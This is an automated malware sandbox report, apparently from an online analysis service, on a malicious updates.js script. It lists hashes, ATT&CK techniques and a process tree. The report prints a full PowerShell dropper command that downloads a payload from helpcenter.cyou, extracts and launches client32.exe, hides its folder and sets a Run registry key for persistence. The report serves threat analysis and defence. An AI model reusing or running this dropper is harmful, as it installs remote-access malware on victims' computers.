c5bc6a2aadb6733ce4850145f9a1fcf5b2cdd0eb1a69f48af9e8867592fcbdd3

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
03-07-2024 13:56

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General

Target

updates.js
Size

7.3MB
MD5

08001e8052c73b35e5fa47df27bcdd45
SHA1

9d896ca6e114e945b2ef5b22eb92d08247722468
SHA256

c5bc6a2aadb6733ce4850145f9a1fcf5b2cdd0eb1a69f48af9e8867592fcbdd3
SHA512

1262b48a72375b52aed6cd9c0631178d489778c29a063f2c716630e2996473faad6185fcd968fbcc38a069bd1a7b5f1ee86c7ad54d53607b9337368a8447efad
SSDEEP

49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQX:c

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://helpcenter.cyou/help.php?14353

exe.dropper

http://helpcenter.cyou/help.php?14353

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2296	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2296	2320	wscript.exe	28
PID 2320 wrote to memory of 2296	2320	wscript.exe	28
PID 2320 wrote to memory of 2296	2320	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YACF='http://helpcenter.cyou/help.php?14353';$SKDYGCJP=(New-Object System.Net.WebClient).DownloadString($YACF);$KLVUO=[System.Convert]::FromBase64String($SKDYGCJP);$asd = Get-Random -Minimum -10 -Maximum 37; $BLQISAM=[System.Environment]::GetFolderPath('ApplicationData')+'\XEHAKRYBE'+$asd;if (!(Test-Path $BLQISAM -PathType Container)) { New-Item -Path $BLQISAM -ItemType Directory };$p=Join-Path $BLQISAM 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$KLVUO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$BLQISAM)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $BLQISAM 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $BLQISAM -Force; $fd.attributes='Hidden';$s=$BLQISAM+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DENHMTW';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2296-4-0x000007FEF481E000-0x000007FEF481F000-memory.dmp

Filesize
4KB

Download
memory/2296-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2296-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2296-7-0x000007FEF4560000-0x000007FEF4EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2296-8-0x000007FEF4560000-0x000007FEF4EFD000-memory.dmp

Filesize
9.6MB

Download
memory/2296-10-0x000007FEF4560000-0x000007FEF4EFD000-memory.dmp

Filesize
9.6MB

Download